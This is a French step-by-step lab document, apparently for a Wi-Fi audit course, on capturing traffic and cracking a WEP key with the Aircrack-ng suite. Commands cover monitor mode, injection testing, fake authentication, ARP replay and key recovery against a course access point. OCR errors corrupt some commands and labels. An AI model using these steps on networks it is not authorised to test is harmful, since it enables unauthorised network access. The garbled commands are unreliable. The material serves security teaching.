Documentation : Cracker une clé
WEP avec Aircrack-ng

Introduction

Cette documentation explique étape par étape comment capturer et cracker
une clé WEP sur un réseau sans fil en utilisant la suite Aircrack-ng sous
Debian.

Etape 1 : Mettre la carte en mode monitor

# Arréter l1l'interface si déja active
sudo airmon-ng stop wlx00c0ca97327a

# Mettre la carte sur le canal de 1'AP en mode monitor
sudo airmon-ng start wlx00c0ca97327a 4

# Vérifier 1'état
iwconfig

Capture d'écran : Ecran iwconfig montrant l'interface en mode Monitor

C:: with user@debian at 15:07:49 @




Etape 2 : Vérifier I'injection de paquets

sudo aireplay-ng -9 -e "Cours-WiFi-Audit" -a 90:94:E4:84:5C:4A
wlx00c0ca9%7327a

Le résultat doit indiquer Injection is working!

Capture d'écran : Test d'injection réussi

"Cours-WiFi-Audit"

< [GROETEETGCLELRERIE at 15:08:38 @

Etape 3 : Capturer les IVs avec airodump-ng

sudo airodump-ng -c 4 --bssid 90:94:E4:84:5C:4A -w capture cours
wlx00c0ca97327a

Sur un autre terminal, on voit les paquets Vs augmenter.

Capture d'écran : Airodump-ng montrant les 1Vs capturés

CH 4 ][ Elapsed: 0 s ][ 2025-09-24 15:09
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

90:94:E4:84:5C:4A -64 © 13 [¢] © 4 54e. WEP WEP Cours-WiFi-Audit

BSSID STATION PWR Rate Lost Frames Notes Probes




Etape 4 : Fake authentication

sudo aireplay-ng -1 0 -e "Cours-WiFi-Audit" -a 90:94:E4:84:5C:4A -h
00:c0:ca:97:32:7a wlx00c0ca97327a

Vérifiez que I'authentification est successful.

Capture d'écran : Aireplay-ng fake auth réussie

"Cours—WiFi-Audit"

Etape 5 : ARP request replay pour générer des
IVs

sudo aireplay-ng -3 -b 90:94:E4:84:5C:4A -h 00:c0:ca:97:32:7a
wlx00c0ca97327a

En paralléle, airodump-ng doit capturer les Vs qui augmentent rapidement.

Capture d'écran : ARP replay en action




Etape 6 : Cracker la clé WEP

sudo aircrack-ng -b 90:94:E4:84:5C:4A capture cours*.cap

Le résultat final affiche le KEY FOUND!

Capture d'écran : Aircrack-ng key found
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